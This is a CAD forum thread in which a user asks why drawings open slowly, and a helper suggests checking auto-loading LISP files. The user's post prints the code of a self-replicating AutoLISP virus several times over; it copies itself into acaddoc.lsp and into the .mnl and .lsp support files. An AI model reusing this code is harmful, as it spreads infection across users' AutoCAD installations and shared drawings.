Discussion forum
?CAD discussions, advices, exchange of experience

Please abide by the rules of this forum.
|
Post Reply ![]() |
Author | |
Gemgem ![]() Newbie ![]() Joined: 10.Dec.2013 Location: Vietnam Using: AutoCAD 2013 Status: Offline Points: 3 |
![]() Posted: 10.Dec.2013 at 05:38 |
Hi every body !
Im new member. And im having a problem with AutoCad file. When i open a file. The command line appear " );if
);defun (setvar "cmdecho" 0) (setq acadmnl (findfile
"acad.mnl")) (setq acadmnlpath
(vl-filename-directory acadmnl)) (setq mnlfilelist
(vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length
mnlfilelist)) (setq acadexe (findfile
"acad.exe")) (setq acadpath
(vl-filename-directory acadexe)) (setq support (strcat acadpath
"\\support")) (setq lspfilelist (vl-directory-files
support "*.lsp")) (setq lspfilelist (append
lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length
lspfilelist)) (setq dwgname (getvar
"dwgname")) (setq dwgpath (findfile
dwgname)) (if dwgpath (progn (setq
acaddocpath (vl-filename-directory dwgpath)) (setq
acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0) (while (<
mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while (setq lspn 0) (while (<
lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while );progn );if (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat
acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0) (while (< mnln1
mnlnum) (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app
mnlfilename mnlfilename1 bz) (setq mnln1
(1+ mnln1)) );while (setq lspn1 0) (while (< lspn1
lspnum) (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app
mnlfilename lspfilename1 bz) (setq lspn1
(1+ lspn1)) );while (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat
support "\\" (nth lspn lspfilelist))) (setq lspn1 0) (while (< lspn1
lspnum) (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app
lspfilename lspfilename1 bz) (setq lspn1
(1+ lspn1)) );while (setq mnln1 0) (while (< mnln1
mnlnum) (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app
lspfilename mnlfilename1 bz) (setq mnln1
(1+ mnln1)) );while (load "acadapp") (princ) (setq flagx t) (setq bz "(setq flagx
t)") (defun app(source target bz /
flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1)) (if (= text bz) (setq flag1
nil)) );while
(close wjm1)
);progn );if (if flag1 (progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn
(write-line text wjm1) );progn );if );while
(close wjm1)
(close wjm)
);progn );if );defun (setvar "cmdecho" 0) (setq acadmnl (findfile
"acad.mnl")) (setq acadmnlpath
(vl-filename-directory acadmnl)) (setq mnlfilelist
(vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length
mnlfilelist)) (setq acadexe (findfile
"acad.exe")) (setq acadpath
(vl-filename-directory acadexe)) (setq support (strcat acadpath
"\\support")) (setq lspfilelist
(vl-directory-files support "*.lsp")) (setq lspfilelist (append
lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length lspfilelist)) (setq dwgname (getvar
"dwgname")) (setq dwgpath (findfile
dwgname)) (if dwgpath (progn (setq
acaddocpath (vl-filename-directory dwgpath)) (setq
acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0) (while (<
mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while (setq lspn 0) (while (<
lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while );progn );if (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat
acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0) (while (< mnln1
mnlnum) (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app
mnlfilename mnlfilename1 bz) (setq mnln1
(1+ mnln1)) );while (setq lspn1 0) (while (< lspn1
lspnum) (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app
mnlfilename lspfilename1 bz) (setq lspn1
(1+ lspn1)) );while (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat
support "\\" (nth lspn lspfilelist))) (setq lspn1 0) (while (< lspn1
lspnum) (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app
lspfilename lspfilename1 bz) (setq lspn1
(1+ lspn1)) );while (setq mnln1 0) (while (< mnln1
mnlnum) (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app
lspfilename mnlfilename1 bz) (setq mnln1
(1+ mnln1)) );while (load "acadapp") (princ) (setq flagx t) (setq bz "(setq flagx
t)") (defun app(source target bz /
flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1)) (if (= text bz) (setq flag1
nil)) );while
(close wjm1)
);progn );if (if flag1 (progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn
(write-line text wjm1) );progn );if );while
(close wjm1)
(close wjm)
);progn );if );defun (setvar "cmdecho" 0) (setq acadmnl (findfile
"acad.mnl")) (setq acadmnlpath
(vl-filename-directory acadmnl)) (setq mnlfilelist
(vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length
mnlfilelist)) (setq acadexe (findfile
"acad.exe")) (setq acadpath
(vl-filename-directory acadexe)) (setq support (strcat acadpath
"\\support")) (setq lspfilelist (vl-directory-files
support "*.lsp")) (setq lspfilelist (append
lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length
lspfilelist)) (setq dwgname (getvar
"dwgname")) (setq dwgpath (findfile
dwgname)) (if dwgpath (progn (setq
acaddocpath (vl-filename-directory dwgpath)) (setq
acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0) (while (<
mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while (setq lspn 0) (while (<
lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while );progn );if (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat
acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0) (while (< mnln1
mnlnum) (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app
mnlfilename mnlfilename1 bz) (setq mnln1
(1+ mnln1)) );while (setq lspn1 0) (while (< lspn1
lspnum) (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app
mnlfilename lspfilename1 bz) (setq lspn1
(1+ lspn1)) );while (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat
support "\\" (nth lspn lspfilelist))) (setq lspn1 0) (while (< lspn1
lspnum) (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app
lspfilename lspfilename1 bz) (setq lspn1
(1+ lspn1)) );while (setq mnln1 0) (while (< mnln1
mnlnum) (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app
lspfilename mnlfilename1 bz) (setq mnln1
(1+ mnln1)) );while (load "acadapp") (princ) (setq flagx t) (setq bz "(setq flagx
t)") (defun app(source target bz /
flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1)) (if (= text bz) (setq flag1
nil)) );while
(close wjm1)
);progn );if (if flag1 (progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn
(write-line text wjm1) );progn );if );while
(close wjm1)
(close wjm)
);progn );if );defun (setvar "cmdecho" 0) (setq acadmnl (findfile
"acad.mnl")) (setq acadmnlpath
(vl-filename-directory acadmnl)) (setq mnlfilelist
(vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length
mnlfilelist)) (setq acadexe (findfile
"acad.exe")) (setq acadpath
(vl-filename-directory acadexe)) (setq support (strcat acadpath
"\\support")) (setq lspfilelist
(vl-directory-files support "*.lsp")) (setq lspfilelist (append
lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length
lspfilelist)) (setq dwgname (getvar
"dwgname")) (setq dwgpath (findfile
dwgname)) (if dwgpath (progn (setq
acaddocpath (vl-filename-directory dwgpath)) (setq
acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0) (while (<
mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while (setq lspn 0) (while (<
lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while );progn );if (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat
acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0) (while (< mnln1
mnlnum) (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app
mnlfilename mnlfilename1 bz) (setq mnln1
(1+ mnln1)) );while (setq lspn1 0) (while (< lspn1
lspnum) (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app
mnlfilename lspfilename1 bz) (setq lspn1
(1+ lspn1)) );while (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat
support "\\" (nth lspn lspfilelist))) (setq lspn1 0) (while (< lspn1
lspnum) (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app
lspfilename lspfilename1 bz) (setq lspn1
(1+ lspn1)) );while (setq mnln1 0) (while (< mnln1
mnlnum) (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app
lspfilename mnlfilename1 bz) (setq mnln1
(1+ mnln1)) );while (load "acadapp") (princ) (setq flagx t) (setq bz "(setq flagx
t)") (defun app(source target bz /
flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1)) (if (= text bz) (setq flag1
nil)) );while
(close wjm1)
);progn );if (if flag1 (progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn
(write-line text wjm1) );progn );if );while
(close wjm1)
(close wjm) ; error: bad argument type:
streamp nil bad argument type: stringp nil Command: Autodesk DWG. This file is
a TrustedDWG last saved by an Autodesk application or Autodesk licensed
application. Command: And its took very long time to open. And if i open 2 files more. Cad program can not respond I reset program but mistake still happened |
|
(^_^) (Y)
|
|
![]() |
|
John Connor ![]() Senior Member ![]() Joined: 01.Feb.2011 Location: United States Using: AutoCAD 2018 Status: Offline Points: 7175 |
![]() |
Surely everything in blue does not appear does it?
It looks like you have a problematic lisp routine that is executing upon starting a drawing. I'd temporarily disable (by renaming) the acad.lsp file and see if that helps. |
|
"Humans have a strength that cannot be measured. This is John Connor. If you are reading this, you are the resistance."
<<AutoCAD 2015>> |
|
![]() |
|
Gemgem ![]() Newbie ![]() Joined: 10.Dec.2013 Location: Vietnam Using: AutoCAD 2013 Status: Offline Points: 3 |
![]() |
thank you !
Im sure that it appeared. and i also thought its related to lisp. then i removed all lisp and reset cad. but trouble still happened. |
|
(^_^) (Y)
|
|
![]() |
|
John Connor ![]() Senior Member ![]() Joined: 01.Feb.2011 Location: United States Using: AutoCAD 2018 Status: Offline Points: 7175 |
![]() |
One can automatically load lisp programs via the Startup Suite and by using acaddoc.lsp. Both should be checked.
When did you start see this error? Had to received a drawing from another source outside of the company you work for? Does this happen with any drawing you try to open? Edited by John Connor - 12.Dec.2013 at 12:10 |
|
"Humans have a strength that cannot be measured. This is John Connor. If you are reading this, you are the resistance."
<<AutoCAD 2015>> |
|
![]() |
Post Reply ![]() |
|
Tweet
|
Forum Jump | Forum Permissions ![]() You cannot post new topics in this forum You cannot reply to topics in this forum You cannot delete your posts in this forum You cannot edit your posts in this forum You cannot create polls in this forum You cannot vote in polls in this forum |
This page was generated in 0,141 seconds.